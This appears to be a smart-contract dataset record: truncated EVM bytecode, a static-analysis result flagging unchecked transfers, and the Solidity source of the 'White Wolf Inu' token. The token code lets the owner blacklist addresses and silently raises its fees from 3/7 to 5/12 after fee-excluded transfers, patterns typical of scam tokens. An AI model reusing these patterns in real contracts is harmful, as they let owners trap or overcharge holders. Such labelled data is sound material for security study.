1155565b610904565b610161610267366004611155565b6109ec565b61018461027a366004611155565b610a6a565b61029261028d36600461117e565b610b2d565b005b6102926102a23660046110e4565b610c17565b6101846102b5366004611077565b600160209081526000928352604080842090915290825290205481565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061032d9086815260200190565b60405180910390a35060015b92915050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561039b57600080fd5b505af11580156103af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103d391906111ff565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b15801561042157600080fd5b505af1158015610435573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b1580156104a557600080fd5b505afa1580156104b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104dd91906112c4565b60006040518663ffffffff1660e01b81526004016104ff959493929190611336565b6040805180830381600087803b15801561051857600080fd5b505af115801561052c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055091906112dc565b91506103399050836105646103e784611421565b610e6a565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146105ce576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105c8908490611440565b90915550505b6001600160a01b038416600090815260208190526040812080548492906105f6908490611440565b90915550506001600160a01b038316600090815260208190526040812080548492906106239084906113e9565b92505081905550826001600160a01b0316846001600160a01b03166000805160206114dc8339815191528460405161065d91815260200190565b60405180910390a35060019392505050565b6000467f000000000000000000000000000000000000000000000000000000000000000181146106a7576106a281610ee3565b6106c9565b7f6d5383b1ddd33d3c9cb4eb3c4958de1921b06648621c59b2995ac418b9cae8675b91505090565b60006106da82610f3d565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff4272308060006107196103e789611401565b6040518663ffffffff1660e01b8152600401610739959493929190611336565b6040805180830381600087803b15801561075257600080fd5b505af1158015610766573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078a91906112dc565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b1580156107db57600080fd5b505af11580156107ef573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b15801561084757600080fd5b505afa15801561085b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087f91906112c4565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b1580156108c557600080fd5b505af11580156108d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fd91906111ff565b5092915050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b15801561096057600080fd5b505af1158015610974573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099891906111ff565b5060405162ae511b60e21b815273f5bce5077908a1b7370b9ae04adc565ebd643966906302b9446c906104ff90738798249c2e607446efb7ad49ec89dd1865ff427290309081908890600090600401611336565b33600090815260208190526040812080548391908390610a0d908490611440565b90915550506001600160a01b03831660009081526020819052604081208054849290610a3a9084906113e9565b90915550506040518281526001600160a01b0384169033906000805160206114dc8339815191529060200161032d565b6000610a7582610f3d565b73f5bce5077908a1b7370b9ae04adc565ebd6439666397da6d30738798249c2e607446efb7ad49ec89dd1865ff427230866000610ab46103e789611401565b6040518663ffffffff1660e01b8152600401610ad4959493929190611336565b6040805180830381600087803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2591906112dc565b509392505050565b60005b82811015610c115760008030868685818110610b5c57634e487b7160e01b600052603260045260246000fd5b9050602002810190610b6e919061139d565b604051610b7c9291906112ff565b600060405180830381855af49150503d8060008114610bb7576040519150601f19603f3d011682016040523d82523d6000602084013e610bbc565b606091505b509150915081158015610bcc5750835b15610bfc57610bda81610fa3565b60405162461bcd60e51b8152600401610bf3919061136a565b60405180910390fd5b50508080610c0990611483565b915050610b30565b50505050565b6001600160a01b038716610c6d5760405162461bcd60e51b815260206004820152601860248201527f45524332303a204f776e65722063616e6e6f74206265203000000000000000006044820152606401610bf3565b834210610cad5760405162461bcd60e51b815260206004820152600e60248201526d115490cc8c0e88115e1c1a5c995960921b6044820152606401610bf3565b6001600160a01b03871660008181526002602052604081208054600192610d57927f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9928d928d928d9291610d0083611483565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e00160405160208183030381529060405280519060200120611002565b6040805160008152602081018083529290925260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610da5573d6000803e3d6000fd5b505050602060405103516001600160a01b031614610e055760405162461bcd60e51b815260206004820152601860248201527f45524332303a20496e76616c6964205369676e617475726500000000000000006044820152606401610bf3565b6001600160a01b038781166000818152600160209081526040808320948b168084529482529182902089905590518881527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b6001600160a01b03821660009081526020819052604081208054839290610e929084906113e9565b925050819055508060036000828254610eab91906113e9565b90915550506040518181526001600160a01b038316906000906000805160206114dc8339815191529060200160405180910390a35050565b604080517f47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a7946921860208201529081018290523060608201526000906080015b604051602081830303815290604052805190602001209050919050565b3360009081526020819052604081208054839290610f5c908490611440565b925050819055508060036000828254610f759190611440565b909155505060405181815260009033906000805160206114dc8339815191529060200160405180910390a350565b6060604482511015610fe857505060408051808201909152601d81527f5472616e73616374696f6e2072657665727465642073696c656e746c79000000602082015290565b60048201915081806020019051810190610339919061121b565b600060405180604001604052806002815260200161190160f01b81525061102761066f565b83604051602001610f209392919061130f565b80356001600160a01b038116811461105157600080fd5b919050565b600060208284031215611067578081fd5b6110708261103a565b9392505050565b60008060408385031215611089578081fd5b6110928361103a565b91506110a06020840161103a565b90509250929050565b6000806000606084860312156110bd578081fd5b6110c68461103a565b92506110d46020850161103a565b9150604084013590509250925092565b600080600080600080600060e0888a0312156110fe578283fd5b6111078861103a565b96506111156020890161103a565b95506040880135945060608801359350608088013560ff81168114611138578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611167578182fd5b6111708361103a565b946020939093013593505050565b600080600060408486031215611192578283fd5b833567ffffffffffffffff808211156111a9578485fd5b818601915086601f8301126111bc578485fd5b8135818111156111ca578586fd5b8760208260051b85010111156111de578586fd5b602092830195509350508401356111f4816114ca565b809150509250925092565b600060208284031215611210578081fd5b8151611070816114ca565b60006020828403121561122c578081fd5b815167ffffffffffffffff80821115611243578283fd5b818401915084601f830112611256578283fd5b815181811115611268576112686114b4565b604051601f8201601f19908116603f01168101908382118183101715611290576112906114b4565b816040528281528760208487010111156112a8578586fd5b6112b9836020830160208801611457565b979650505050505050565b6000602082840312156112d5578081fd5b5051919050565b600080604083850312156112ee578182fd5b505080516020909101519092909150565b8183823760009101908152919050565b60008451611321818460208901611457565b91909101928352506020820152604001919050565b6001600160a01b03958616815293851660208501529190931660408301526060820192909252608081019190915260a00190565b6020815260008251806020840152611389816040850160208701611457565b601f01601f19169190910160400192915050565b6000808335601e198436030181126113b3578283fd5b83018035915067ffffffffffffffff8211156113cd578283fd5b6020019150368190038213156113e257600080fd5b9250929050565b600082198211156113fc576113fc61149e565b500190565b60008261141c57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561143b5761143b61149e565b500290565b6000828210156114525761145261149e565b500390565b60005b8381101561147257818101518382015260200161145a565b83811115610c115750506000910152565b60006000198214156114975761149761149e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b80151581146114d857600080fd5b5056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200d8ea7dd5b96709bd4110749bc7dce772c10ec732de100c21e0c417986e2b1bc64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,094
0x85f52212d9cce0ddb597cf493a1dc6c2e311f41b
//White Wolf Inu ($WhiteWolf) //TG: https://t.me/whitewolfinu //Twitter: https://twitter.com/whitewolfinu //Website: TBA // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WhiteWolfInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "White Wolf Inu"; string private constant _symbol = "WhiteWolf"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 3; uint256 private _teamFee = 7; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _teamFee = 12; _taxFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600e81526020017f576869746520576f6c6620496e75000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5768697465576f6c660000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473fffffffffffffffffffffffffffffffffffff